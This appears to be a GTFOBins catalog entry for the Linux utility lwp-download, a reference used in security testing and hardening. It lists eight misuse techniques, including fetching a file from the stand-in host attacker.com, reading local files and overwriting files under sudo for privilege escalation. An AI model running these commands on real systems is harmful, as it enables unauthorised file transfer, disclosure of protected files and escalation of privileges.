CatalogGTFOBins

GTFO · Tool

lwp-download

8 techniquesLinuxGTFOBinsGPL-3.0

download

File DownloadPrivilege EscalationLinux

The destination file `/path/to/output-file` can be omitted, in that case the file is saved to `input-file` in the current working directory.

lwp-download http://attacker.com/path/to/input-file /path/to/output-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
download
MITRE
T1105

download

File DownloadLinux

The destination file `/path/to/output-file` can be omitted, in that case the file is saved to `input-file` in the current working directory.

lwp-download http://attacker.com/path/to/input-file /path/to/output-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
download
MITRE
T1105

file-read

File ReadPrivilege EscalationLinux
lwp-download file:///path/to/input-file /dev/stdout
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
file-read
MITRE
T1005

file-read

File ReadLinux
lwp-download file:///path/to/input-file /dev/stdout
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
file-read
MITRE
T1005

file-write

File WritePrivilege EscalationLinux
echo DATA >/path/to/temp-file
lwp-download file:///path/to/temp-file /path/to/output-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
file-write
MITRE
T1565

file-write

File WriteLinux
echo DATA >/path/to/temp-file
lwp-download file:///path/to/temp-file /path/to/output-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
file-write
MITRE
T1565

file-write

File WritePrivilege EscalationLinux

This actually copies a file to a destination.

lwp-download file:///path/to/input-file /path/to/output-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
file-write
MITRE
T1565

file-write

File WriteLinux

This actually copies a file to a destination.

lwp-download file:///path/to/input-file /path/to/output-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
file-write
MITRE
T1565